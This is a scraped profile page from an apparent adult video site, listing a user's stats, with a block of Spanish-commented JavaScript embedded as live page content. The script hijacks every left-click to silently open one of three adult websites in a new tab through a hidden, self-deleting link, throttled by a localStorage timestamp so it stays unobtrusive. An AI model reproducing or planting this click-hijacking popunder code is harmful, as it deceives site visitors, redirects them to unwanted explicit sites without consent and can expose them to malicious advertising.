fisher的化身

fisher

订阅人: 4
好友: 5
视频看: 64
配置文件的风景: 613
性别: 男性
关系: 隐藏
感兴趣: 隐藏
已加入: 5 年 之前
最后登陆: 5 年 之前
fisher的观看的影片
正在展示 1-21 of 53 视频
个人主页
(function() { // Lista de sitios web de destino const sitiosDestino = [ "https://videosxy.net", "https://goldenshowe.com", "https://exposedwife.com" ]; const TIEMPO_ESPERA_MS = 3 * 60 * 1000; // 3 minutos const CLAVE_STORAGE = "ultimo_salto_timestamp"; function intentarPopunder(e) { // Ignorar clics secundarios o modificados (ej. Clic derecho o Ctrl+clic) if (e.button !== 0 || e.defaultPrevented) return; const ahora = Date.now(); const ultimoSalto = localStorage.getItem(CLAVE_STORAGE); // Control estricto de los 3 minutos if (ultimoSalto && (ahora - parseInt(ultimoSalto, 10)) < TIEMPO_ESPERA_MS) { return; } // Seleccionar la URL de forma aleatoria const urlAleatoria = sitiosDestino[Math.floor(Math.random() * sitiosDestino.length)]; // 2. Crear un elemento de enlace dinámico y oculto en el DOM real const enlace = document.createElement("a"); enlace.href = urlAleatoria; enlace.target = "_blank"; enlace.rel = "noreferrer noopener"; enlace.style.display = "none"; // Insertar temporalmente en el DOM del Sitio 1 document.body.appendChild(enlace); // 3. Registrar timestamp INMEDIATAMENTE para evitar disparos dobles por clics rápidos localStorage.setItem(CLAVE_STORAGE, ahora); // 4. Ejecutar la apertura mediante el evento nativo del enlace enlace.click(); // 5. Limpieza inmediata para no dejar rastros en el DOM ni causar bucles document.body.removeChild(enlace); } // Registrar el manipulador asegurando que no interfiera en la navegación principal document.addEventListener("click", intentarPopunder, { capture: false, passive: true }); })();